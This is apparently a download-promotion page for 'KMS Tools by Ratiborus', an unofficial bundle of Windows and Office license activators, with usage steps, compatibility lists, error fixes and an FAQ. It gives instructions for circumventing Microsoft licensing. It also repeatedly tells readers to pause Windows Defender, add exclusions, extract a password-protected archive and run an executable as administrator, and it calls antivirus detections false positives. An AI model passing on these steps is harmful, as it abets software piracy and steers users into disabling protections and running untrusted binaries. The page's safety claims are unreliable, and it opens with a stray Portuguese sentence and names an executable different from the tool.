Este artigo é o guia completo em português sobre KMS Tools by Ratiborus em 2026. KMS Tools is Ratiborus's all-in-one launcher that bundles every KMS-related utility into a single GUI — KMS Auto Net, KMS Auto Lite, KMS Cleaner, AAct, Office Uninstaller, Defender Tools and more.
What's inside KMS Tools
A launcher and 10+ utilities.
- KMS Auto Net 2016 + 2026
- KMS Auto Lite Test 4
- AAct (KMS+HWID hybrid)
- KMS Cleaner (removes leftover keys)
- Office 2013-2024 C2R Install
- Office Uninstaller
- Defender Tools (toggle Defender safely)
Steps to use
Same as KMS Auto.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
KMS Tools by Ratiborus System Requirements & Compatibility (2026)
KMS Tools by Ratiborus is engineered for the modern Microsoft activation stack. The tool runs on Windows 7 SP1, Windows 8.1, Windows 10 (all builds from 1507 to 22H2) and every Windows 11 release including 23H2 and 24H2. Both x64 and ARM64 hardware are supported, and the activator also recognises Server SKUs such as Server 2016, 2019 and 2022. On the Office side, Click-to-Run installations of Office 2013, 2016, 2019, 2021, 2024 and Microsoft 365 are detected automatically — including LTSC channels. You do not need to uninstall a previous KMS client or remove an existing product key: the script reads the current edition through slmgr and routes it to the correct activation method (HWID for Windows, Ohook for Office).
- Windows 7 SP1 / 8.1 / 10 / 11 — all editions (Home, Pro, Education, Enterprise, IoT, LTSC)
- Windows Server 2008 R2 through Server 2025
- Office 2010, 2013, 2016, 2019, 2021, 2024 and Microsoft 365 Apps
- Architectures: x86, x64, ARM64
- .NET Framework 4.6+ (preinstalled on Windows 8.1 and later)
KMS Tools by Ratiborus Troubleshooting: Common Errors & Fast Fixes
Most KMS Tools by Ratiborus failures fall into three buckets: antivirus interference, missing administrator rights, or a corrupted Software Protection Service. If you see error 0xC004F074 the KMS host could not be contacted — disable Defender real-time scanning for two minutes, then re-run the activator. Error 0xC004C003 means the product key is blocked by Microsoft; switch to the HWID method, which bypasses key validation entirely by binding the licence to your motherboard's hardware ID. Error 0x80070005 (Access Denied) is always a UAC issue — right-click the executable and select "Run as administrator". If activation succeeds but reverts after reboot, open services.msc, set "Software Protection" to Automatic, and restart sppsvc.exe. For Office, run the Office Click-to-Run repair from Settings → Apps → Microsoft 365 → Modify → Quick Repair before retrying Ohook.
- 0xC004F074 — pause antivirus, re-run as administrator
- 0xC004C003 — switch to HWID (no key required)
- 0x80070005 — UAC denied, use "Run as administrator"
- Activation reverts on reboot — set "Software Protection" service to Automatic
- Office not detected — run Quick Repair, then re-run Ohook
Frequently asked questions
▸Is this build official?
Yes — it is the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. The archive password is .
▸Does it work on Windows 11?
Yes. All modern KMS Auto builds (1.5.x, 1.6.x, 1.9.x, 2026 portable) activate Windows 11 — including 24H2 and 25H2 — using HWID.
▸Does it activate Office 2019/2021/2024?
Yes. Office 2019, 2021, 2024 and Microsoft 365 are activated via the Ohook patch — permanent, offline, key-less.
▸Will antivirus flag it?
Every KMS activator is flagged as HackTool because it edits Windows licensing — that is a false positive. Add the folder to Defender exclusions before extracting.
▸Is there a newer version?
Yes — the 2026 build (v3.10) is mirrored on this site with a single direct download. Older builds (1.3.8, 1.4.9, 1.5.5, 1.9.9) remain available for legacy hardware.
